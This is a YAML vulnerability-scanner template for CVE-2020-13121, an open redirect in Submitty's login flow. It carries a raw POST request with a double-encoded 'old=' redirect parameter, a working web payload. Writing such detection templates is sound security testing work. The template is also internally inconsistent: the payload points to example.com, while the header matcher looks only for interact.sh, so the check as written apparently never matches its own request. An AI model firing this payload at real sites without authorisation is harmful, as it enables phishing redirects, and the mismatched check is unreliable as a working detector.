id: CVE-2020-13121

info:
  name: Submitty 20.04.01 - Open redirect
  author: 0x_Akoko
  severity: medium
  description: Submitty through 20.04.01 has an open redirect via authentication/login?old= during an invalid login attempt.
  reference:
    - https://github.com/Submitty/Submitty/issues/5265
    - https://www.cvedetails.com/cve/CVE-2020-13121
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2020-13121
    cwe-id: CWE-601
  tags: cve,cve2020,redirect,submitty,oos

requests:
  - raw:
      - |
        POST /authentication/check_login?old=http%253A%252F%252Fexample.com%252Fhome HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/authentication/login

        user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login

    cookie-reuse: true
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1